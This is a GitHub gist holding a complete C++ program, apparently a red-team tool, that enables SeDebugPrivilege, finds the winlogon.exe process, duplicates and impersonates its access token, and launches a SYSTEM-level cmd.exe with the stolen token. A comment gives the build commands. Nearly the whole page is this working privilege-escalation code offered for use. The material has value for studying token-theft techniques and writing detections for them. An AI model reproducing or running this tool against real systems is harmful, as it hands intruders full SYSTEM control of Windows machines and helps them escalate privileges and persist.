Skip to content

Instantly share code, notes, and snippets.

@TrQ-Hoan
Last active July 8, 2023 03:53
Show Gist options
  • Save TrQ-Hoan/37bedf519a5b8a4fc864647b9fb24c0e to your computer and use it in GitHub Desktop.
Save TrQ-Hoan/37bedf519a5b8a4fc864647b9fb24c0e to your computer and use it in GitHub Desktop.
Auto-locates winlogon.exe, steals and impersonates it's process TOKEN, and spawns a new SYSTEM-level process with the stolen token. (https://github.com/hfiref0x/UACME)
#include <Windows.h>
#include <Psapi.h>
#include <Shlobj.h>
#include <sddl.h>
#include <shlwapi.h>
#include <iostream>
#include <string>
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "advapi32.lib")
#define PROCESS_ARRAY 1024
void GetTokenInfo(HANDLE TokenHandle) {
LPVOID TokenInformation = NULL;
DWORD TokenInformationLength = 0;
DWORD ReturnLength;
SID_NAME_USE SidType;
GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength);
PTOKEN_USER pTokenUser = (PTOKEN_USER) GlobalAlloc(GPTR, ReturnLength);
GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, &ReturnLength);
wchar_t* userSid = NULL;
ConvertSidToStringSidW(pTokenUser -> User.Sid, &userSid);
TCHAR szGroupName[256];
TCHAR szDomainName[256];
DWORD cchGroupName = 256;
DWORD cchDomainName = 256;
LookupAccountSid(NULL, pTokenUser -> User.Sid, szGroupName, &cchGroupName, szDomainName, &cchDomainName, &SidType);
std::wcout << "[+] Current SID: " << szDomainName << "\\" << szGroupName << " @ " << userSid << std::endl;
}
int LocateWinLogonProcess() {
DWORD aProcesses[PROCESS_ARRAY], cbNeeded, cProcesses;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) {
puts("[!] Failed EnumProcesses");
return -1;
}
DWORD processWinlogonPid = -1;
char szProcessName[MAX_PATH] = {};
cProcesses = cbNeeded / sizeof(DWORD);
for (DWORD i = 0; i < cProcesses; i++) {
if (processWinlogonPid != -1) break;
if (aProcesses[i] != 0) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]);
if (NULL != hProcess) {
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
GetModuleBaseNameA(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
if (!strcmp(szProcessName, "winlogon.exe")) {
processWinlogonPid = aProcesses[i];
std::cout << "[+] Located winlogon.exe by process name (PID " << processWinlogonPid << ")" << std::endl;
}
}
CloseHandle(hMod);
}
CloseHandle(hProcess);
}
}
return processWinlogonPid;
}
void EnableSeDebugPrivilegePrivilege() {
LUID luid;
HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessId());
if (currentProc) {
HANDLE TokenHandle(NULL);
BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle);
if (hProcessToken) {
BOOL checkToken = LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid);
if (!checkToken) {
std::cout << "[+] Current process token already includes SeDebugPrivilege\n" << std::endl;
} else {
TOKEN_PRIVILEGES tokenPrivs;
tokenPrivs.PrivilegeCount = 1;
tokenPrivs.Privileges[0].Luid = luid;
tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL);
if (adjustToken != 0) {
std::cout << "[+] Added SeDebugPrivilege to the current process token" << std::endl;
}
}
CloseHandle(TokenHandle);
}
}
CloseHandle(currentProc);
}
int CreateImpersonatedProcess(HANDLE NewToken) {
bool NewProcess;
wchar_t szCMDPath[MAX_PATH] = {};
STARTUPINFOW lpStartupInfo = {};
PROCESS_INFORMATION lpProcessInformation = {};
if (SHGetFolderPathW(NULL, CSIDL_SYSTEM, NULL, 0, szCMDPath)) {
return 1;
}
PathAppendW(szCMDPath, L"cmd.exe");
lpStartupInfo.cb = sizeof(lpStartupInfo);
NewProcess = CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, szCMDPath, NULL, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation);
if (!NewProcess) {
std::cout << "[!] Failed to create a new process with the stolen TOKEN" << std::endl;
return 1;
}
std::cout << "[+] Created a new process with the stolen TOKEN" << std::endl;
GetTokenInfo(NewToken);
CloseHandle(NewToken);
return 0;
}
int StealToken(int TargetPID) {
HANDLE hProcess = NULL;
HANDLE TokenHandle = NULL;
HANDLE NewToken = NULL;
BOOL OpenToken;
BOOL Impersonate;
BOOL Duplicate;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, TargetPID);
if (!hProcess) {
std::cout << "[!] Failed to obtain a HANDLE to the target PID" << std::endl;
return 1;
}
std::cout << "[+] Obtained a HANDLE to the target PID" << std::endl;
OpenToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle);
if (!OpenToken) {
std::cout << "[!] Failed to obtain a HANDLE to the target TOKEN" << std::endl;
std::cout << GetLastError();
}
std::cout << "[+] Obtained a HANDLE to the target TOKEN" << std::endl;
Impersonate = ImpersonateLoggedOnUser(TokenHandle);
if (!Impersonate) {
std::cout << "[!] Failed to impersonate the TOKEN's user" << std::endl;
return 1;
}
std::cout << "[+] Impersonated the TOKEN's user" << std::endl;
Duplicate = DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken);
if (!Duplicate) {
std::cout << "[!] Failed to duplicate the target TOKEN" << std::endl;
return 1;
}
std::cout << "[+] Duplicated the target TOKEN" << std::endl;
CreateImpersonatedProcess(NewToken);
CloseHandle(hProcess);
CloseHandle(TokenHandle);
return 0;
}
void CheckCurrentProcess() {
HANDLE TokenHandle = NULL;
HANDLE hCurrent = GetCurrentProcess();
OpenProcessToken(hCurrent, TOKEN_QUERY, &TokenHandle);
GetTokenInfo(TokenHandle);
CloseHandle(TokenHandle);
}
int main(int argc, char* argv[]) {
/**
* cl /EHsc Auto-Elevate.cpp /link /MANIFEST /MANIFESTUAC:"level='requireAdministrator' uiAccess='false'"
* mt -nologo -manifest Auto-Elevate.exe.manifest -outputresource:Auto-Elevate.exe;#1
*/
CheckCurrentProcess();
EnableSeDebugPrivilegePrivilege();
int winLogonPID = LocateWinLogonProcess();
StealToken(winLogonPID);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment